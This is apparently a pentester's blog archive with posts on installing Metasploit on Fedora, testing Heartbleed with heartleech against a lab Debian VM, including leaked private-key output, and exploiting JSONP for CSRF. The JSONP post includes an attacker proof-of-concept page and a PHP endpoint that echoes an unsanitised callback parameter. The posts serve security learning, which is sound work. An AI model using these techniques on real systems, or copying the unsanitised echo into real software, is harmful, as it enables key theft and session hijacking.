Category Archives: Pentesting

Installation of Metasploit on Fedora 21 / 22

Update 2015/08/04: Works on Fedora 22 too. I recently applied the exact same procedure with success.

A quick update from a previous post for setting Metasploit on Fedora 21, the latest version.

It is mainly a copy and paste, except for a few typo fixes and some changes on the Ruby part. The good news is that Metasploit was recently ported to Ruby 2.x, so we don’t need anymore the rvm stuff anymore, which makes the process much simpler.

Preparing Postgresql

Install:

 yum -y install postgresql-server postgresql-devel

Initiate a new “cluster” and connect to the sql client through the postgres user:

# as root:
postgresql-setup initdb
systemctl start postgresql.service
su postgres
psql

Inside the psql console, create the new Metasploit user and its database:

create user msf;
alter user msf with encrypted password 'super password';
create database msfdb;
grant all privileges on database msfdb to msf;
\q

Then, we will tell to Postgres how to accept local connections. ident necessitates an system account, trust means no password for any local account and md5 stands for a classic password authentication, which we will prefer.
Back to a root terminal, add this line inside /var/lib/pgsql/data/pg_hba.conf and beware that the order is important:

# IPv4 local connections:
host msfdb msf 127.0.0.1/32 md5
host all all 127.0.0.1/32 ident

Then we can restart the service and check with psql that the credentials are working:

systemctl restart postgresql.service
psql -U msf msfdb -h localhost
\q

Setting Ruby

Metasploit runs well with Ruby 1.9.3, so we will install this version and switch to it using rbenv.
rbenv does a nice job at managing several version of ruby next to each other, installing dependancies (as OpenSSL) and setting PATH:

# as root:
yum install ruby rubygems ruby-devel rubygem-bundler

Getting and running Metasploit

Install:

# as root in e.g. /opt
git clone https://github.com/rapid7/metasploit-framework.git msf
cd msf
yum -y install libpcap-devel sqlite-devel
./msfupdate

The installation of ruby modules will take a while. Then, configure the database by creating config/database.yml:

production:
    adapter: postgresql
    database: msfdb
    username: msf
    password: 
    host: 127.0.0.1
    port: 5432
    pool: 75
    timeout: 5

Launch it and have fun :

# as root
./msfconsole
# check connection to the database
db_status

You may want to add a cron entry in /etc/crontab to get regular updates (though it may break from time to time due to broken dependencies, so you are advised to check it sometimes):

# msfupdate every 2 hours
0 */2 * * * root /opt/msf/msfupdate 2>&1

Testing Heartbleed vulnerability

No fresh news, but I had been wanting to test the Heartbleed vulnerability for a while and just missed time.

I used the following quick setup:

  1. Debian 7.0 virtual machine as a vulnerable host
  2. Heartleech tool. There are many other tools around, but this one was suggested to me by a coworker, who used it successfully during a pentest.

Getting a vulnerable host in your own environment is not that trivial, as most OS have now been patched (including the installation ISO of supported versions).

In my quest, I ended up with Debian 7.0 (Debian 6.x are too old and actually do not suffer from the vulnerability).

To download an old and unpatched installation image of Debian, you need to use Jigdo. This tool will download all packages from the archive site of Debian and rebuild the ISO:

jigdo-lite ftp://cdimage.debian.org/cdimage/archive/7.0.0/i386/jigdo-dvd/debian-7.0.0-i386-DVD-1.jigdo

Then, create a virtual machine with no network card, to make sure that the installation process does not retrieve any patch.

Once the Debian virtual machine is set and running:

  1. Edit <code>/etc/apt/source.list</code> to comment out lines concerning security updates (keep only the DVD enabled)
  2. Add and configure a network card (<code>eth0</code>)
  3. Install Apache2
  4. Enable SSL: a2enmod ssl
  5. Enable the default SSL web pages: <code>e2ensite default-ssl</code>
  6. Open a browser to check that it all works at <code>https://hostname</code>

Using heartleech is incredibly fast and straightforward:

heartleech % ./heartleech 172.25.254.153 --autopwn
--- heartleech/1.0.0i ---
https://github.com/robertdavidgraham/heartleech
786648 bytes downloaded (6.293-mbps)
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA40dv2FdGVHxQRydIyZixnNwnez6bFMyQu+AAjpFmphA39Lzr
4rW8ca8uY0W34jeHx+qTNABkrmfOeZpTFbpCnU7ZDRy8J/KUoq6o26vdkg98fT/t
VqlBPLEp6uD0bazvNp4H5KGO3f1c06y8uBjc4/hOPgiCYYi3aPQpV8ybHqkcdA4K
ps6u9EYvXHwInUwXwOg13OynpYfsxJt2PSF/qoaz7zbU0ie7wMJFFFmXEMwT0uUX
[...]
ko+g0mrTttbz6egHRs3JFmV3oucnGCrTq/Z4Ivcsqdt059UhspDFxMPoesyUjMQs
o8KZF5q2adNTxyoaQPiln9H9GjDSSKt448G9YM7CM7cAd7JkvFBdEjrRsP+4W92B
3EPn1yMCgYEA+LARBdzOfFasv4/UWub85QersrT35hNneTrtaVTBiJR0v7jdXnqe
k0aoHJV/D73j2hW3mGaC9JsnUMfZ3AkoDhfojZzqp2jOlaFNWZr80NDERekJrRTT
3JVFVF33NAW3OWY97/52XRZzcGJTDx9fx8R3guS4tR5O/ETgdREPmAw=
-----END RSA PRIVATE KEY-----

You can also dump the memory in a file:

./heartleech 172.25.254.153 --cert /tmp/debian --read /tmp/test

To further look for interesting content with strings or any parsing tool (Yara?) of your choice.

It gives also an alternative method to retrieve the private key. First, download the public key from your browser to a file and apply it to the dump to look for the matching private key:

./heartleech 172.25.254.153 --cert /tmp/debian --read /tmp/test
--- heartleech/1.0.0i ---
https://github.com/robertdavidgraham/heartleech
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA40dv2FdGVHxQRydIyZixnNwnez6bFMyQu+AAjpFmphA39Lzr
4rW8ca8uY0W34jeHx+qTNABkrmfOeZpTFbpCnU7ZDRy8J/KUoq6o26vdkg98fT/t
VqlBPLEp6uD0bazvNp4H5KGO3f1c06y8uBjc4/hOPgiCYYi3aPQpV8ybHqkcdA4K
ps6u9EYvXHwInUwXwOg13OynpYfsxJt2PSF/qoaz7zbU0ie7wMJFFFmXEMwT0uUX
[...]
ko+g0mrTttbz6egHRs3JFmV3oucnGCrTq/Z4Ivcsqdt059UhspDFxMPoesyUjMQs
o8KZF5q2adNTxyoaQPiln9H9GjDSSKt448G9YM7CM7cAd7JkvFBdEjrRsP+4W92B
3EPn1yMCgYEA+LARBdzOfFasv4/UWub85QersrT35hNneTrtaVTBiJR0v7jdXnqe
k0aoHJV/D73j2hW3mGaC9JsnUMfZ3AkoDhfojZzqp2jOlaFNWZr80NDERekJrRTT
3JVFVF33NAW3OWY97/52XRZzcGJTDx9fx8R3guS4tR5O/ETgdREPmAw=
-----END RSA PRIVATE KEY-----

Neat!

You may check this page to get information on vulnerable versions and remediation.

The joy of dependencies: Metasploit on Fedora 20

UPDATE 02/2015 : see there for the procedure on Fedora 21

As I started to use Fedora 20 at work – by the way, a solid distro with all security features enabled, I had the bad surprise to get similar issues to those on OS X.
Again, we will have to face the joy of dependencies! Fedora provides Ruby 2.0 by default, so firing msfconsole would fail with many openssl warnings, ending with:

Continue reading

(in)Security of JSONP: CSRF risks

JSONP vs JSON

I had an opportunity to experiment exploiting JSONP in real life. Honestly, I had never heard of it before.

JSON is a well known method to serialize data, but what is JSONP? Actually, it is nothing new, but rather a specific use of JSON.

In AJAX websites, XMLHttpRequest is used in client-side Javascript code to forge HTTP requests, which fetch data from some JSON service.

 For example, following a GUI event (onclick, mouseover, …), such XHR code may be executed:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'http://example.com/search.php', true);
xhr.send(null);

The requested server may answer with XML data, or JSON like here:

{"id": 1, "name": "Foo", "price": 123}

However, XHR request is limited to the current domain, due to the SOP (Same Origin Policy) that is enforced on modern browsers. What if it is necessary to retrieve data from another domain?

Here comes JSONP as one of the possible solutions.

hello({"id": 1, "name": "Foo", "price": 123});

As you can see, data is padded (P in JSONP) inside a callback function, which we are going to study.

How JSONP works

The trick consists in requesting the JSONP service inside <script> tags, which, by design, are out of the SOP scope.

The call to the JSONP service just defines a callback function name as a parameter. Note that the callback function is included in the same page as the call.

Then, the JSONP service answers with data encapsulated inside the callback function name.  That way, the browser will execute the callback function and pass data as its parameters.

It is confusing to explain and I may have lost you in trying to explain. Hopefully this diagram may clarify this stuff:

XHR vs JSONP

XHR vs JSONP

Domain1 XHR requests to domain2 are not allowed. Therefore, the callback trick ensures that data is fetched from domain2 while the corresponding code is processed in the context of domain1.

All this way around has a unique goal: have the code to be executed in the same context as the originating page. In other words: bypassing the SOP.

 Security Concerns

This is not without any security caveats. Someone outlined some very valid points on Stackexchange, and it is well written, so I will just copy and paste what he said about JSONP security:

  • Requires excessive trust. Suppose you have a page hosted on a.com and it uses JSONP to access services provided by b.org. This involves placing 100% trust in b.org. If b.org is malicious or buggy, it can subvert the security of the embedding page and all of the a.com origin. This kind of excess trust is dangerous from a security perspective: it makes your application fragile.
    To put it another way: JSONP is basically a self-inflicted XSS. Yes, OK, I know it’s a feature, not a bug, but still…
  • CSRF vulnerabilities. You have to remember to defend against CSRF vulnerabilities, and with JSONP, that gets a bit tricky. Standard advice is to ensure that only POST requests can trigger a side-effect, and to include a CSRF token in all POST requests; but JSONP involves sending a GET request to trigger a side-effect, which ain’t exactly the cleanest solution you’ve ever seen. So this means that the host that provides JSONP service needs to remember to check CSRF tokens even on GET requests. Also, it requires a bit of a tricky protocol for the embedding page (a.com) to obtain the proper CSRF token from the JSONP service (b.org). It gets messy.
  • Causes mixed-content warnings. Suppose we have a page hosted on https://a.com and it accesses a JSONP service on http://b.org. Then this will inevitably trigger a scary-looking mixed-content warning (since JSONP involving loading a script from http://b.org).
  • User authentication gets ugly. If b.org wants to authenticate the user, that gets tricky to do when using JSONP. The embedding page (a.com) needs to first somehow give the user an opportunity to log into b.org in advance, before accessing b.org‘s JSONP service. Both sites need to coordinate.

I would just add that, though it is not perfect, it is at least possible to mitigate CSRF on GET requests by checking the HTTP referer (when possible).

Is this complete? Let me know if you have other suggestions.

Simple Exploitation

During a pentest, I had to audit a rather complex application which happened to do some requests to another server in JSONP.

The few following snippets are a simplified representation of the case.

Exploitation code right below may be uploaded to a server controlled by the attacker (who may need some social engineering to get the visitor to reach his page).

<html>
 <head>
 <script>
 hello = function(data) {
 alert("hello " + data.name);
 }
 </script>
 </head>
 <body>
 <h1>JSONP Call</h1>
 <script src="http://domain.com/jsonp.php?jsonp_callback=hello"></script>
 </body>
 </html>

So in red, the call to JSONP with the callback function name indicated. In green, the callback function itself. It is just displaying an alert box containing the fetched JSONP data, but of course it could have malicious features (like cookie stealing).

The JSONP service can be simulated by the following code,  hosted on another server (e.g. the attack target):

<?php
 header('Cache-Control: no-cache, must-revalidate');
 header('Expires: Mon, 1 Jan 2000 01:00:00 GMT');
 header('Content-type: application/json');
 $data = '{ "name": "world" }';
 echo $_GET['jsonp_callback'] . '(' . $data . ');';
?>

After receiving the <script> call, the function would just return:

hello({ "name": "world" });

Which, when received by the browser, would trigger the nice alert box.

 

JSONP callback execution

JSONP callback execution

The attack sequence may be represented like this:

Example of exploitation process of JSONP

Example of exploitation process of JSONP

In other words, the user browser is used as a proxy to make CSRF requests, which should be forbidden.

So what?

Exploitation depends on the target application configuration and the capability of the attacker to inject a Javascript call along with the callback function into the victim’s browser.

In the case I experienced, the JSONP host was not checking the referer. On top of that, it was hosted inside the corporate LAN.

So I was able to have a user visit a page on my server, which would silently make his browser call the JSONP service… and execute the Javascript in turn in the context of my page.

Impacts:

  • hijack of the user session to the server (theft of user cookies),
  • access to confidential data,
  • bypass of network filtering and SOP (the browser acts as a proxy),
  • phishing scenarios (fake forms, redirections, …).

Even if the target JSONP server had checked the referer, it would still be vulnerable in case the legitimate calling application would suffer from code injection (XSS).

Conclusion

Once the concept of JSONP is clear, it appears to be very simple and powerful to exploit.

As I just discovered this and had to craft the exploitation quickly, I would not conclude definitely on the topic.

Though, it seems that a JSONP service should at least check the referer before processing a call to get to an acceptable security level.

But I am not sure yet of what else could be done to improve the security further. It may be just crappy by design.

Please share if you have a more educated opinion on the topic. And as always, comments and constructive criticisms are welcome. Let me know if something is unclear or incorrect.

References